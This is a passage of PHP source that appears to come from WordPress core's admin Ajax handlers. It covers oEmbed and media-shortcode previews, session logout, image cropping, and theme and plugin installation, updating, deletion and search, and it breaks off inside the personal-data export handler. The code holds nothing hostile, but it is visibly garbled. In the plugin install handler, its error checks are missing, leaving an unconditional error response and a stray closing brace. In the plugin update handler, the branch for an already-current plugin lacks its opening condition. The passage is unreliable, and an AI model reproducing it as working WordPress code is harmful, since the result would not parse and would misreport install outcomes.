		$url = $matches[5];
	} elseif ( ! empty( $atts['src'] ) ) {
		$url = $atts['src'];
	} else {
		$url = '';
	}

$parsed                         = false;
	$wp_embed->return_false_on_fail = true;

if ( 0 === $post_id ) {
		/*
		 * Refresh oEmbeds cached outside of posts that are past their TTL.
		 * Posts are excluded because they have separate logic for refreshing
		 * their post meta caches. See WP_Embed::cache_oembed().
		 */
		$wp_embed->usecache = false;
	}

if ( is_ssl() && 0 === strpos( $url, 'http://' ) ) {
		// Admin is ssl and the user pasted non-ssl URL.
		// Check if the provider supports ssl embeds and use that for the preview.
		$ssl_shortcode = preg_replace( '%^(\\[embed[^\\]]*\\])http://%i', '$1https://', $shortcode );
		$parsed        = $wp_embed->run_shortcode( $ssl_shortcode );

if ( ! $parsed ) {
			$no_ssl_support = true;
		}
	}

// Set $content_width so any embeds fit in the destination iframe.
	if ( isset( $_POST['maxwidth'] ) && is_numeric( $_POST['maxwidth'] ) && $_POST['maxwidth'] > 0 ) {
		if ( ! isset( $content_width ) ) {
			$content_width = intval( $_POST['maxwidth'] );
		} else {
			$content_width = min( $content_width, intval( $_POST['maxwidth'] ) );
		}
	}

if ( $url && ! $parsed ) {
		$parsed = $wp_embed->run_shortcode( $shortcode );
	}

if ( ! $parsed ) {
		wp_send_json_error(
			array(
				'type'    => 'not-embeddable',
				/* translators: %s: URL that could not be embedded. */
				'message' => sprintf( __( '%s failed to embed.' ), '<code>' . esc_html( $url ) . '</code>' ),
			)
		);
	}

if ( has_shortcode( $parsed, 'audio' ) || has_shortcode( $parsed, 'video' ) ) {
		$styles     = '';
		$mce_styles = wpview_media_sandbox_styles();

foreach ( $mce_styles as $style ) {
			$styles .= sprintf( '<link rel="stylesheet" href="%s"/>', $style );
		}

$html = do_shortcode( $parsed );

global $wp_scripts;

if ( ! empty( $wp_scripts ) ) {
			$wp_scripts->done = array();
		}

ob_start();
		wp_print_scripts( array( 'mediaelement-vimeo', 'wp-mediaelement' ) );
		$scripts = ob_get_clean();

$parsed = $styles . $html . $scripts;
	}

if ( ! empty( $no_ssl_support ) || ( is_ssl() && ( preg_match( '%<(iframe|script|embed) [^>]*src="http://%', $parsed ) ||
		preg_match( '%<link [^>]*href="http://%', $parsed ) ) ) ) {
		// Admin is ssl and the embed is not. Iframes, scripts, and other "active content" will be blocked.
		wp_send_json_error(
			array(
				'type'    => 'not-ssl',
				'message' => __( 'This preview is unavailable in the editor.' ),
			)
		);
	}

$return = array(
		'body' => $parsed,
		'attr' => $wp_embed->last_attr,
	);

if ( strpos( $parsed, 'class="wp-embedded-content' ) ) {
		if ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) {
			$script_src = includes_url( 'js/wp-embed.js' );
		} else {
			$script_src = includes_url( 'js/wp-embed.min.js' );
		}

$return['head']    = '<script src="' . $script_src . '"></script>';
		$return['sandbox'] = true;
	}

wp_send_json_success( $return );
}

/**
 * @since 4.0.0
 *
 * @global WP_Post    $post       Global post object.
 * @global WP_Scripts $wp_scripts
 */
function wp_ajax_parse_media_shortcode() {
	global $post, $wp_scripts;

if ( empty( $_POST['shortcode'] ) ) {
		wp_send_json_error();
	}

$shortcode = wp_unslash( $_POST['shortcode'] );

if ( ! empty( $_POST['post_ID'] ) ) {
		$post = get_post( (int) $_POST['post_ID'] );
	}

// The embed shortcode requires a post.
	if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) {
		if ( 'embed' === $shortcode ) {
			wp_send_json_error();
		}
	} else {
		setup_postdata( $post );
	}

$parsed = do_shortcode( $shortcode );

if ( empty( $parsed ) ) {
		wp_send_json_error(
			array(
				'type'    => 'no-items',
				'message' => __( 'No items found.' ),
			)
		);
	}

$head   = '';
	$styles = wpview_media_sandbox_styles();

foreach ( $styles as $style ) {
		$head .= '<link type="text/css" rel="stylesheet" href="' . $style . '">';
	}

if ( ! empty( $wp_scripts ) ) {
		$wp_scripts->done = array();
	}

ob_start();

echo $parsed;

if ( 'playlist' === $_REQUEST['type'] ) {
		wp_underscore_playlist_templates();

wp_print_scripts( 'wp-playlist' );
	} else {
		wp_print_scripts( array( 'mediaelement-vimeo', 'wp-mediaelement' ) );
	}

wp_send_json_success(
		array(
			'head' => $head,
			'body' => ob_get_clean(),
		)
	);
}

/**
 * Ajax handler for destroying multiple open sessions for a user.
 *
 * @since 4.1.0
 */
function wp_ajax_destroy_sessions() {
	$user = get_userdata( (int) $_POST['user_id'] );

if ( $user ) {
		if ( ! current_user_can( 'edit_user', $user->ID ) ) {
			$user = false;
		} elseif ( ! wp_verify_nonce( $_POST['nonce'], 'update-user_' . $user->ID ) ) {
			$user = false;
		}
	}

if ( ! $user ) {
		wp_send_json_error(
			array(
				'message' => __( 'Could not log out user sessions. Please try again.' ),
			)
		);
	}

$sessions = WP_Session_Tokens::get_instance( $user->ID );

if ( get_current_user_id() === $user->ID ) {
		$sessions->destroy_others( wp_get_session_token() );
		$message = __( 'You are now logged out everywhere else.' );
	} else {
		$sessions->destroy_all();
		/* translators: %s: User's display name. */
		$message = sprintf( __( '%s has been logged out.' ), $user->display_name );
	}

wp_send_json_success( array( 'message' => $message ) );
}

/**
 * Ajax handler for cropping an image.
 *
 * @since 4.3.0
 */
function wp_ajax_crop_image() {
	$attachment_id = absint( $_POST['id'] );

check_ajax_referer( 'image_editor-' . $attachment_id, 'nonce' );

if ( empty( $attachment_id ) || ! current_user_can( 'edit_post', $attachment_id ) ) {
		wp_send_json_error();
	}

$context = str_replace( '_', '-', $_POST['context'] );
	$data    = array_map( 'absint', $_POST['cropDetails'] );
	$cropped = wp_crop_image( $attachment_id, $data['x1'], $data['y1'], $data['width'], $data['height'], $data['dst_width'], $data['dst_height'] );

if ( ! $cropped || is_wp_error( $cropped ) ) {
		wp_send_json_error( array( 'message' => __( 'Image could not be processed.' ) ) );
	}

switch ( $context ) {
		case 'site-icon':
			require_once ABSPATH . 'wp-admin/includes/class-wp-site-icon.php';
			$wp_site_icon = new WP_Site_Icon();

// Skip creating a new attachment if the attachment is a Site Icon.
			if ( get_post_meta( $attachment_id, '_wp_attachment_context', true ) == $context ) {

// Delete the temporary cropped file, we don't need it.
				wp_delete_file( $cropped );

// Additional sizes in wp_prepare_attachment_for_js().
				add_filter( 'image_size_names_choose', array( $wp_site_icon, 'additional_sizes' ) );
				break;
			}

/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
			$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.
			$object  = $wp_site_icon->create_attachment_object( $cropped, $attachment_id );
			unset( $object['ID'] );

// Update the attachment.
			add_filter( 'intermediate_image_sizes_advanced', array( $wp_site_icon, 'additional_sizes' ) );
			$attachment_id = $wp_site_icon->insert_attachment( $object, $cropped );
			remove_filter( 'intermediate_image_sizes_advanced', array( $wp_site_icon, 'additional_sizes' ) );

// Additional sizes in wp_prepare_attachment_for_js().
			add_filter( 'image_size_names_choose', array( $wp_site_icon, 'additional_sizes' ) );
			break;

default:
			/**
			 * Fires before a cropped image is saved.
			 *
			 * Allows to add filters to modify the way a cropped image is saved.
			 *
			 * @since 4.3.0
			 *
			 * @param string $context       The Customizer control requesting the cropped image.
			 * @param int    $attachment_id The attachment ID of the original image.
			 * @param string $cropped       Path to the cropped image file.
			 */
			do_action( 'wp_ajax_crop_image_pre_save', $context, $attachment_id, $cropped );

/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
			$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.

$parent_url = wp_get_attachment_url( $attachment_id );
			$url        = str_replace( wp_basename( $parent_url ), wp_basename( $cropped ), $parent_url );

$size       = @getimagesize( $cropped );
			$image_type = ( $size ) ? $size['mime'] : 'image/jpeg';

$object = array(
				'post_title'     => wp_basename( $cropped ),
				'post_content'   => $url,
				'post_mime_type' => $image_type,
				'guid'           => $url,
				'context'        => $context,
			);

$attachment_id = wp_insert_attachment( $object, $cropped );
			$metadata      = wp_generate_attachment_metadata( $attachment_id, $cropped );

/**
			 * Filters the cropped image attachment metadata.
			 *
			 * @since 4.3.0
			 *
			 * @see wp_generate_attachment_metadata()
			 *
			 * @param array $metadata Attachment metadata.
			 */
			$metadata = apply_filters( 'wp_ajax_cropped_attachment_metadata', $metadata );
			wp_update_attachment_metadata( $attachment_id, $metadata );

/**
			 * Filters the attachment ID for a cropped image.
			 *
			 * @since 4.3.0
			 *
			 * @param int    $attachment_id The attachment ID of the cropped image.
			 * @param string $context       The Customizer control requesting the cropped image.
			 */
			$attachment_id = apply_filters( 'wp_ajax_cropped_attachment_id', $attachment_id, $context );
	}

wp_send_json_success( wp_prepare_attachment_for_js( $attachment_id ) );
}

/**
 * Ajax handler for generating a password.
 *
 * @since 4.4.0
 */
function wp_ajax_generate_password() {
	wp_send_json_success( wp_generate_password( 24 ) );
}

/**
 * Ajax handler for saving the user's WordPress.org username.
 *
 * @since 4.4.0
 */
function wp_ajax_save_wporg_username() {
	if ( ! current_user_can( 'install_themes' ) && ! current_user_can( 'install_plugins' ) ) {
		wp_send_json_error();
	}

check_ajax_referer( 'save_wporg_username_' . get_current_user_id() );

$username = isset( $_REQUEST['username'] ) ? wp_unslash( $_REQUEST['username'] ) : false;

if ( ! $username ) {
		wp_send_json_error();
	}

wp_send_json_success( update_user_meta( get_current_user_id(), 'wporg_favorites', $username ) );
}

/**
 * Ajax handler for installing a theme.
 *
 * @since 4.6.0
 *
 * @see Theme_Upgrader
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 */
function wp_ajax_install_theme() {
	check_ajax_referer( 'updates' );

if ( empty( $_POST['slug'] ) ) {
		wp_send_json_error(
			array(
				'slug'         => '',
				'errorCode'    => 'no_theme_specified',
				'errorMessage' => __( 'No theme specified.' ),
			)
		);
	}

$slug = sanitize_key( wp_unslash( $_POST['slug'] ) );

$status = array(
		'install' => 'theme',
		'slug'    => $slug,
	);

if ( ! current_user_can( 'install_themes' ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to install themes on this site.' );
		wp_send_json_error( $status );
	}

require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	include_once ABSPATH . 'wp-admin/includes/theme.php';

$api = themes_api(
		'theme_information',
		array(
			'slug'   => $slug,
			'fields' => array( 'sections' => false ),
		)
	);

if ( is_wp_error( $api ) ) {
		$status['errorMessage'] = $api->get_error_message();
		wp_send_json_error( $status );
	}

$skin     = new WP_Ajax_Upgrader_Skin();
	$upgrader = new Theme_Upgrader( $skin );
	$result   = $upgrader->install( $api->download_link );

if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
		$status['debug'] = $skin->get_upgrade_messages();
	}

if ( is_wp_error( $result ) ) {
		$status['errorCode']    = $result->get_error_code();
		$status['errorMessage'] = $result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( is_wp_error( $skin->result ) ) {
		$status['errorCode']    = $skin->result->get_error_code();
		$status['errorMessage'] = $skin->result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( $skin->get_errors()->has_errors() ) {
		$status['errorMessage'] = $skin->get_error_messages();
		wp_send_json_error( $status );
	} elseif ( is_null( $result ) ) {
		global $wp_filesystem;

$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

// Pass through the error from WP_Filesystem if one was raised.
		if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
			$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
		}

wp_send_json_error( $status );
	}

$status['themeName'] = wp_get_theme( $slug )->get( 'Name' );

if ( current_user_can( 'switch_themes' ) ) {
		if ( is_multisite() ) {
			$status['activateUrl'] = add_query_arg(
				array(
					'action'   => 'enable',
					'_wpnonce' => wp_create_nonce( 'enable-theme_' . $slug ),
					'theme'    => $slug,
				),
				network_admin_url( 'themes.php' )
			);
		} else {
			$status['activateUrl'] = add_query_arg(
				array(
					'action'     => 'activate',
					'_wpnonce'   => wp_create_nonce( 'switch-theme_' . $slug ),
					'stylesheet' => $slug,
				),
				admin_url( 'themes.php' )
			);
		}
	}

if ( ! is_multisite() && current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
		$status['customizeUrl'] = add_query_arg(
			array(
				'return' => urlencode( network_admin_url( 'theme-install.php', 'relative' ) ),
			),
			wp_customize_url( $slug )
		);
	}

/*
	 * See WP_Theme_Install_List_Table::_get_theme_status() if we wanted to check
	 * on post-installation status.
	 */
	wp_send_json_success( $status );
}

/**
 * Ajax handler for updating a theme.
 *
 * @since 4.6.0
 *
 * @see Theme_Upgrader
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 */
function wp_ajax_update_theme() {
	check_ajax_referer( 'updates' );

if ( empty( $_POST['slug'] ) ) {
		wp_send_json_error(
			array(
				'slug'         => '',
				'errorCode'    => 'no_theme_specified',
				'errorMessage' => __( 'No theme specified.' ),
			)
		);
	}

$stylesheet = preg_replace( '/[^A-z0-9_\-]/', '', wp_unslash( $_POST['slug'] ) );
	$status     = array(
		'update'     => 'theme',
		'slug'       => $stylesheet,
		'oldVersion' => '',
		'newVersion' => '',
	);

if ( ! current_user_can( 'update_themes' ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to update themes for this site.' );
		wp_send_json_error( $status );
	}

$theme = wp_get_theme( $stylesheet );
	if ( $theme->exists() ) {
		$status['oldVersion'] = $theme->get( 'Version' );
	}

require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';

$current = get_site_transient( 'update_themes' );
	if ( empty( $current ) ) {
		wp_update_themes();
	}

$skin     = new WP_Ajax_Upgrader_Skin();
	$upgrader = new Theme_Upgrader( $skin );
	$result   = $upgrader->bulk_upgrade( array( $stylesheet ) );

if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
		$status['debug'] = $skin->get_upgrade_messages();
	}

if ( is_wp_error( $skin->result ) ) {
		$status['errorCode']    = $skin->result->get_error_code();
		$status['errorMessage'] = $skin->result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( $skin->get_errors()->has_errors() ) {
		$status['errorMessage'] = $skin->get_error_messages();
		wp_send_json_error( $status );
	} elseif ( is_array( $result ) && ! empty( $result[ $stylesheet ] ) ) {

// Theme is already at the latest version.
		if ( true === $result[ $stylesheet ] ) {
			$status['errorMessage'] = $upgrader->strings['up_to_date'];
			wp_send_json_error( $status );
		}

$theme = wp_get_theme( $stylesheet );
		if ( $theme->exists() ) {
			$status['newVersion'] = $theme->get( 'Version' );
		}

wp_send_json_success( $status );
	} elseif ( false === $result ) {
		global $wp_filesystem;

$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

wp_send_json_error( $status );
	}

// An unhandled error occurred.
	$status['errorMessage'] = __( 'Theme update failed.' );
	wp_send_json_error( $status );
}

/**
 * Ajax handler for deleting a theme.
 *
 * @since 4.6.0
 *
 * @see delete_theme()
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 */
function wp_ajax_delete_theme() {
	check_ajax_referer( 'updates' );

if ( empty( $_POST['slug'] ) ) {
		wp_send_json_error(
			array(
				'slug'         => '',
				'errorCode'    => 'no_theme_specified',
				'errorMessage' => __( 'No theme specified.' ),
			)
		);
	}

$stylesheet = preg_replace( '/[^A-z0-9_\-]/', '', wp_unslash( $_POST['slug'] ) );
	$status     = array(
		'delete' => 'theme',
		'slug'   => $stylesheet,
	);

if ( ! current_user_can( 'delete_themes' ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to delete themes on this site.' );
		wp_send_json_error( $status );
	}

if ( ! wp_get_theme( $stylesheet )->exists() ) {
		$status['errorMessage'] = __( 'The requested theme does not exist.' );
		wp_send_json_error( $status );
	}

// Check filesystem credentials. `delete_theme()` will bail otherwise.
	$url = wp_nonce_url( 'themes.php?action=delete&stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet );

ob_start();
	$credentials = request_filesystem_credentials( $url );
	ob_end_clean();

if ( false === $credentials || ! WP_Filesystem( $credentials ) ) {
		global $wp_filesystem;

$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

wp_send_json_error( $status );
	}

include_once ABSPATH . 'wp-admin/includes/theme.php';

$result = delete_theme( $stylesheet );

if ( is_wp_error( $result ) ) {
		$status['errorMessage'] = $result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( false === $result ) {
		$status['errorMessage'] = __( 'Theme could not be deleted.' );
		wp_send_json_error( $status );
	}

wp_send_json_success( $status );
}

/**
 * Ajax handler for installing a plugin.
 *
 * @since 4.6.0
 *
 * @see Plugin_Upgrader
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 */
function wp_ajax_install_plugin() {
	check_ajax_referer( 'updates' );

if ( empty( $_POST['slug'] ) ) {
		wp_send_json_error(
			array(
				'slug'         => '',
				'errorCode'    => 'no_plugin_specified',
				'errorMessage' => __( 'No plugin specified.' ),
			)
		);
	}

$status = array(
		'install' => 'plugin',
		'slug'    => sanitize_key( wp_unslash( $_POST['slug'] ) ),
	);

if ( ! current_user_can( 'install_plugins' ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to install plugins on this site.' );
		wp_send_json_error( $status );
	}

require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	include_once ABSPATH . 'wp-admin/includes/plugin-install.php';

$api = plugins_api(
		'plugin_information',
		array(
			'slug'   => sanitize_key( wp_unslash( $_POST['slug'] ) ),
			'fields' => array(
				'sections' => false,
			),
		)
	);

if ( is_wp_error( $api ) ) {
		$status['errorMessage'] = $api->get_error_message();
		wp_send_json_error( $status );
	}

$status['pluginName'] = $api->name;

$skin     = new WP_Ajax_Upgrader_Skin();
	$upgrader = new Plugin_Upgrader( $skin );
	$result   = $upgrader->install( $api->download_link );

if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
		$status['debug'] = $skin->get_upgrade_messages();
	}

$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

wp_send_json_error( $status );
	}

$install_status = install_plugin_install_status( $api );
	$pagenow        = isset( $_POST['pagenow'] ) ? sanitize_key( $_POST['pagenow'] ) : '';

// If installation request is coming from import page, do not return network activation link.
	$plugins_url = ( 'import' === $pagenow ) ? admin_url( 'plugins.php' ) : network_admin_url( 'plugins.php' );

if ( current_user_can( 'activate_plugin', $install_status['file'] ) && is_plugin_inactive( $install_status['file'] ) ) {
		$status['activateUrl'] = add_query_arg(
			array(
				'_wpnonce' => wp_create_nonce( 'activate-plugin_' . $install_status['file'] ),
				'action'   => 'activate',
				'plugin'   => $install_status['file'],
			),
			$plugins_url
		);
	}

if ( is_multisite() && current_user_can( 'manage_network_plugins' ) && 'import' !== $pagenow ) {
		$status['activateUrl'] = add_query_arg( array( 'networkwide' => 1 ), $status['activateUrl'] );
	}

wp_send_json_success( $status );
}

/**
 * Ajax handler for updating a plugin.
 *
 * @since 4.2.0
 *
 * @see Plugin_Upgrader
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 */
function wp_ajax_update_plugin() {
	check_ajax_referer( 'updates' );

if ( empty( $_POST['plugin'] ) || empty( $_POST['slug'] ) ) {
		wp_send_json_error(
			array(
				'slug'         => '',
				'errorCode'    => 'no_plugin_specified',
				'errorMessage' => __( 'No plugin specified.' ),
			)
		);
	}

$plugin = plugin_basename( sanitize_text_field( wp_unslash( $_POST['plugin'] ) ) );

$status = array(
		'update'     => 'plugin',
		'slug'       => sanitize_key( wp_unslash( $_POST['slug'] ) ),
		'oldVersion' => '',
		'newVersion' => '',
	);

if ( ! current_user_can( 'update_plugins' ) || 0 !== validate_file( $plugin ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to update plugins for this site.' );
		wp_send_json_error( $status );
	}

$plugin_data          = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
	$status['plugin']     = $plugin;
	$status['pluginName'] = $plugin_data['Name'];

if ( $plugin_data['Version'] ) {
		/* translators: %s: Plugin version. */
		$status['oldVersion'] = sprintf( __( 'Version %s' ), $plugin_data['Version'] );
	}

require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';

wp_update_plugins();

$skin     = new WP_Ajax_Upgrader_Skin();
	$upgrader = new Plugin_Upgrader( $skin );
	$result   = $upgrader->bulk_upgrade( array( $plugin ) );

if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
		$status['debug'] = $skin->get_upgrade_messages();
	}

/*
		 * Plugin is already at the latest version.
		 *
		 * This may also be the return value if the `update_plugins` site transient is empty,
		 * e.g. when you update two plugins in quick succession before the transient repopulates.
		 *
		 * Preferably something can be done to ensure `update_plugins` isn't empty.
		 * For now, surface some sort of error here.
		 */
		if ( true === $result[ $plugin ] ) {
			$status['errorMessage'] = $upgrader->strings['up_to_date'];
			wp_send_json_error( $status );
		}

$plugin_data = get_plugins( '/' . $result[ $plugin ]['destination_name'] );
		$plugin_data = reset( $plugin_data );

if ( $plugin_data['Version'] ) {
			/* translators: %s: Plugin version. */
			$status['newVersion'] = sprintf( __( 'Version %s' ), $plugin_data['Version'] );
		}

wp_send_json_success( $status );
	} elseif ( false === $result ) {
		global $wp_filesystem;

$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

wp_send_json_error( $status );
	}

// An unhandled error occurred.
	$status['errorMessage'] = __( 'Plugin update failed.' );
	wp_send_json_error( $status );
}

/**
 * Ajax handler for deleting a plugin.
 *
 * @since 4.6.0
 *
 * @see delete_plugins()
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 */
function wp_ajax_delete_plugin() {
	check_ajax_referer( 'updates' );

if ( empty( $_POST['slug'] ) || empty( $_POST['plugin'] ) ) {
		wp_send_json_error(
			array(
				'slug'         => '',
				'errorCode'    => 'no_plugin_specified',
				'errorMessage' => __( 'No plugin specified.' ),
			)
		);
	}

$plugin = plugin_basename( sanitize_text_field( wp_unslash( $_POST['plugin'] ) ) );

$status = array(
		'delete' => 'plugin',
		'slug'   => sanitize_key( wp_unslash( $_POST['slug'] ) ),
	);

if ( ! current_user_can( 'delete_plugins' ) || 0 !== validate_file( $plugin ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to delete plugins for this site.' );
		wp_send_json_error( $status );
	}

$plugin_data          = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
	$status['plugin']     = $plugin;
	$status['pluginName'] = $plugin_data['Name'];

if ( is_plugin_active( $plugin ) ) {
		$status['errorMessage'] = __( 'You cannot delete a plugin while it is active on the main site.' );
		wp_send_json_error( $status );
	}

// Check filesystem credentials. `delete_plugins()` will bail otherwise.
	$url = wp_nonce_url( 'plugins.php?action=delete-selected&verify-delete=1&checked[]=' . $plugin, 'bulk-plugins' );

ob_start();
	$credentials = request_filesystem_credentials( $url );
	ob_end_clean();

if ( false === $credentials || ! WP_Filesystem( $credentials ) ) {
		global $wp_filesystem;

$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

wp_send_json_error( $status );
	}

$result = delete_plugins( array( $plugin ) );

if ( is_wp_error( $result ) ) {
		$status['errorMessage'] = $result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( false === $result ) {
		$status['errorMessage'] = __( 'Plugin could not be deleted.' );
		wp_send_json_error( $status );
	}

wp_send_json_success( $status );
}

/**
 * Ajax handler for searching plugins.
 *
 * @since 4.6.0
 *
 * @global string $s Search term.
 */
function wp_ajax_search_plugins() {
	check_ajax_referer( 'updates' );

// Ensure after_plugin_row_{$plugin_file} gets hooked.
	wp_plugin_update_rows();

$pagenow = isset( $_POST['pagenow'] ) ? sanitize_key( $_POST['pagenow'] ) : '';
	if ( 'plugins-network' === $pagenow || 'plugins' === $pagenow ) {
		set_current_screen( $pagenow );
	}

/** @var WP_Plugins_List_Table $wp_list_table */
	$wp_list_table = _get_list_table(
		'WP_Plugins_List_Table',
		array(
			'screen' => get_current_screen(),
		)
	);

$status = array();

if ( ! $wp_list_table->ajax_user_can() ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to manage plugins for this site.' );
		wp_send_json_error( $status );
	}

// Set the correct requester, so pagination works.
	$_SERVER['REQUEST_URI'] = add_query_arg(
		array_diff_key(
			$_POST,
			array(
				'_ajax_nonce' => null,
				'action'      => null,
			)
		),
		network_admin_url( 'plugins.php', 'relative' )
	);

$GLOBALS['s'] = wp_unslash( $_POST['s'] );

$wp_list_table->prepare_items();

ob_start();
	$wp_list_table->display();
	$status['count'] = count( $wp_list_table->items );
	$status['items'] = ob_get_clean();

wp_send_json_success( $status );
}

/**
 * Ajax handler for searching plugins to install.
 *
 * @since 4.6.0
 */
function wp_ajax_search_install_plugins() {
	check_ajax_referer( 'updates' );

$pagenow = isset( $_POST['pagenow'] ) ? sanitize_key( $_POST['pagenow'] ) : '';
	if ( 'plugin-install-network' === $pagenow || 'plugin-install' === $pagenow ) {
		set_current_screen( $pagenow );
	}

/** @var WP_Plugin_Install_List_Table $wp_list_table */
	$wp_list_table = _get_list_table(
		'WP_Plugin_Install_List_Table',
		array(
			'screen' => get_current_screen(),
		)
	);

$status = array();

if ( ! $wp_list_table->ajax_user_can() ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to manage plugins for this site.' );
		wp_send_json_error( $status );
	}

$wp_list_table->prepare_items();

ob_start();
	$wp_list_table->display();
	$status['count'] = (int) $wp_list_table->get_pagination_arg( 'total_items' );
	$status['items'] = ob_get_clean();

wp_send_json_success( $status );
}

/**
 * Ajax handler for editing a theme or plugin file.
 *
 * @since 4.9.0
 *
 * @see wp_edit_theme_plugin_file()
 */
function wp_ajax_edit_theme_plugin_file() {
	$r = wp_edit_theme_plugin_file( wp_unslash( $_POST ) ); // Validation of args is done in wp_edit_theme_plugin_file().

if ( is_wp_error( $r ) ) {
		wp_send_json_error(
			array_merge(
				array(
					'code'    => $r->get_error_code(),
					'message' => $r->get_error_message(),
				),
				(array) $r->get_error_data()
			)
		);
	} else {
		wp_send_json_success(
			array(
				'message' => __( 'File edited successfully.' ),
			)
		);
	}
}

/**
 * Ajax handler for exporting a user's personal data.
 *
 * @since 4.9.6
 */
function wp_ajax_wp_privacy_export_personal_data() {

if ( empty( $_POST['id'] ) ) {
		wp_send_json_error( __( 'Missing request ID.' ) );
	}

$request_id = (int) $_POST['id'];

if ( $request_id < 1 ) {
		wp_send_json_error( __( 'Invalid request ID.' ) );
	}

if ( ! current_user_can( 'export_others_personal_data' ) ) {
		wp_send_json_error( __( 'Sorry, you are not allowed to perform this action.' ) );
	}

check_ajax_referer( 'wp-privacy-export-personal-data-' . $request_id, 'security' );

// Get the request.
	$request = wp_get_user_request( $request_id );

if ( ! $request || 'export_personal_data' !== $request->action_name ) {
		wp_send_json_error( __( 'Invalid request type.' ) );
	}

$email_address = $request->email;
	if ( ! is_email( $email_address ) ) {
		wp_send_json_error( __( 'A valid email address must be given.' ) );
	}

if ( ! isset( $_POST['exporter'] ) ) {
		wp_send_json_error( __( 'Missing exporter index.' ) );
	}

$exporter_index = (int) $_POST['exporter'];

if ( ! isset( $_POST['page'] ) ) {
		wp_send_json_error( __( 'Missing page index.' ) );
	}

$page = (int) $_POST['page'];

$send_as_email = isset( $_POST['sendAsEmail'] ) ? ( 'true' === $_POST['sendAsEmail'] ) : false;

/**
	 * Filters the array of exporter callbacks.
	 *
	 * @since 4.9.6
	 *
	 * @param array $args {
	 *     An array of callable exporters of personal data. Default empty array.
	 *
	 *     @type array ...$0 {
	 *         Array of personal data exporters.
	 *
	 *         @type callable $callback               Callable exporter function that accepts an
	 *                                                email address and a page and returns an array
	 *                                                of name => value pairs of personal data.
	 *         @type string   $exporter_friendly_name Translated user facing friendly name for the
	 *                                                exporter.
	 *     }
	 * }
	 */
	$exporters = apply_filters( 'wp_privacy_personal_data_exporters', array() );

if ( ! is_array( $exporters ) ) {
		wp_send_json_error( __( 'An exporter has improperly used the registration filter.' ) );
	}

// Do we have any registered exporters?
	if ( 0 < count( $exporters ) ) {
		if ( $exporter_index < 1 ) {
			wp_send_json_error( __( 'Exporter index cannot be negative.' ) );
		}

if ( $exporter_index > count( $exporters ) ) {
			wp_send_json_error( __( 'Exporter index is out of range.' ) );
		}

if ( $page < 1 ) {
			wp_send_json_error( __( 'Page index cannot be less than one.' ) );
		}

$exporter_keys = array_keys( $exporters );
		$exporter_key  = $exporter_keys[ $exporter_index - 1 ];
		$exporter      = $exporters[ $exporter_key ];

if ( ! is_array( $exporter ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter array index. */
				sprintf( __( 'Expected an array describing the exporter at index %s.' ), $exporter_key )
			);
		}

if ( ! array_key_exists( 'exporter_friendly_name', $exporter ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter array index. */
				sprintf( __( 'Exporter array at index %s does not include a friendly name.' ), $exporter_key )
			);
		}

$exporter_friendly_name = $exporter['exporter_friendly_name'];

if ( ! array_key_exists( 'callback', $exporter ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter friendly name. */
				sprintf( __( 'Exporter does not include a callback: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}

if ( ! is_callable( $exporter['callback'] ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter friendly name. */
